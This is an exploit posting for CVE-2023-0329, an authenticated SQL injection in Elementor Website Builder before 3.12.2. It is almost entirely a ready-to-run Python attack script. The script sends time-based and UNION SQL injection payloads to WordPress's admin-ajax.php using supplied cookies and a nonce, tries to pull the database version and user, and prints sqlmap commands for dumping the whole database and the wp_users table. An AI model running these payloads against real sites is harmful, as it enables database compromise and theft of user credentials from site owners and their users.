============================================================================================================================================= | # Title : Elementor Website Builder < 3.12.2 - Admin+ SQL Injection Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://elementor.com/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/175639/ & CVE-2023-0329 [+] Summary : an authenticated SQL Injection vulnerability in Elementor Website Builder versions prior to 3.12.2. The vulnerability allows authenticated attackers with at least author-level privileges to execute arbitrary SQL commands, potentially leading to complete database compromise. The vulnerability exists in the AJAX request handler where user input in the data parameter is not properly sanitized before being used in SQL queries. [+] POC : python poc.py #!/usr/bin/env python3 """ Elementor Website Builder < 3.12.2 SQL Injection Exploit (CVE-2023-0329) Author: indoushka """ import requests import time import sys import urllib3 from argparse import ArgumentParser # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class ElementorExploit: def __init__(self, target, cookies=None, auth_token=None): self.target = target.rstrip('/') self.session = requests.Session() self.cookies = cookies self.auth_token = auth_token self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }) if self.cookies: self.session.cookies.update(self.cookies) def check_vulnerability(self): """Check if target is vulnerable to SQL Injection""" print(f"[*] Checking vulnerability for: {self.target}") # Time-based SQL injection payload payloads = [ "test'),meta_key='key4'where+meta_id=SLEEP(5);#", "test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- ", "test' AND SLEEP(5) AND '1'='1" ] for payload in payloads: url = f"{self.target}/wp-admin/admin-ajax.php" data = { "action": "elementor_ajax_save_builder", "editor_post_id": "1", "post_id": "1", "data": payload } # Add auth token if provided if self.auth_token: data['_wpnonce'] = self.auth_token try: start_time = time.time() response = self.session.post(url, data=data, timeout=10, verify=False) end_time = time.time() response_time = end_time - start_time if response_time >= 5: print(f"[+] Time-based SQL Injection confirmed! (Delay: {response_time:.2f}s)") print(f"[+] Payload: {payload}") return True else: print(f"[-] No delay with payload: {payload}") except requests.exceptions.Timeout: print(f"[+] Request timeout - possible SQL injection success") return True except Exception as e: print(f"[-] Error with payload {payload}: {e}") return False def exploit_union(self): """Union-based data extraction""" print("[*] Attempting UNION-based data extraction") # First, determine number of columns for col_count in range(1, 10): nulls = ','.join([str(i) for i in range(1, col_count + 1)]) payload = f"test' UNION SELECT {nulls}-- " url = f"{self.target}/wp-admin/admin-ajax.php" data = { "action": "elementor_ajax_save_builder", "editor_post_id": "1", "post_id": "1", "data": payload } if self.auth_token: data['_wpnonce'] = self.auth_token try: response = self.session.post(url, data=data, timeout=10, verify=False) # Check for successful UNION if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] UNION successful with {col_count} columns") # Extract database information self.extract_database_info(col_count) return True except Exception as e: print(f"[-] Error with {col_count} columns: {e}") return False def extract_database_info(self, column_count): """Extract database information using UNION""" print("[*] Extracting database information...") # Extract database version version_payloads = [ f"test' UNION SELECT 1,@@version,{','.join([str(i) for i in range(3, column_count + 1)])}-- ", f"test' UNION SELECT 1,version(),{','.join([str(i) for i in range(3, column_count + 1)])}-- ", f"test' UNION SELECT 1,user(),{','.join([str(i) for i in range(3, column_count + 1)])}-- " ] for payload in version_payloads: url = f"{self.target}/wp-admin/admin-ajax.php" data = { "action": "elementor_ajax_save_builder", "editor_post_id": "1", "post_id": "1", "data": payload } if self.auth_token: data['_wpnonce'] = self.auth_token try: response = self.session.post(url, data=data, timeout=10, verify=False) if response.status_code == 200: print("[+] Database information extracted successfully") # Parse response for version/user info break except Exception as e: print(f"[-] Error extracting info: {e}") def generate_sqlmap_commands(self): """Generate sqlmap commands for automated exploitation""" print("\n[+] SQLMap Commands:") print("=" * 60) target_url = f"{self.target}/wp-admin/admin-ajax.php" print("# Basic detection (with auth):") print(f'sqlmap -u "{target_url}" --data="action=elementor_ajax_save_builder&editor_post_id=1&post_id=1&data=test" --cookie="[COOKIES]" --batch') print("\n# Full database dump:") print(f'sqlmap -u "{target_url}" --data="action=elementor_ajax_save_builder&editor_post_id=1&post_id=1&data=test" --cookie="[COOKIES]" --batch --dump-all') print("\n# Extract WordPress users:") print(f'sqlmap -u "{target_url}" --data="action=elementor_ajax_save_builder&editor_post_id=1&post_id=1&data=test" --cookie="[COOKIES]" --batch -D wordpress -T wp_users --dump') def comprehensive_scan(self): """Run comprehensive vulnerability assessment""" print("[*] Starting comprehensive Elementor SQLi scan...") # Check authentication if not self.cookies and not self.auth_token: print("[-] No authentication provided - some tests may fail") # Check vulnerability if self.check_vulnerability(): print("\n[+] Target is VULNERABLE to SQL Injection") # Attempt data extraction print("\n[*] Attempting data extraction...") self.exploit_union() # Generate sqlmap commands self.generate_sqlmap_commands() else: print("\n[-] Target does not appear to be vulnerable") def main(): banner = """ ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ Elementor Website Builder SQL Injection Exploit (CVE-2023-0329) By: indoushka """ print(banner) parser = ArgumentParser(description='Elementor SQL Injection Exploit') parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., https://example.com)') parser.add_argument('-c', '--cookies', help='Authentication cookies (e.g., "wordpress_logged_in=xxx")') parser.add_argument('-t', '--token', help='WordPress nonce token') parser.add_argument('--check', action='store_true', help='Check vulnerability only') parser.add_argument('--exploit', action='store_true', help='Run full exploitation') parser.add_argument('--sqlmap', action='store_true', help='Generate sqlmap commands') args = parser.parse_args() # Parse cookies if provided cookies_dict = {} if args.cookies: for cookie in args.cookies.split(';'): if '=' in cookie: key, value = cookie.strip().split('=', 1) cookies_dict[key] = value exploit = ElementorExploit(args.url, cookies=cookies_dict, auth_token=args.token) if args.check: if exploit.check_vulnerability(): print("\n[!] Target is VULNERABLE to SQL Injection") else: print("\n[!] Target does not appear to be vulnerable") elif args.exploit: exploit.comprehensive_scan() elif args.sqlmap: exploit.generate_sqlmap_commands() else: # Default: comprehensive scan exploit.comprehensive_scan() if __name__ == "__main__": if len(sys.argv) == 1: print("Usage: python elementor_exploit.py -u https://target.com") print("Options: --check, --exploit, --sqlmap") print("Authentication: -c 'wordpress_logged_in=xxx' -t [nonce_token]") sys.exit(1) main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================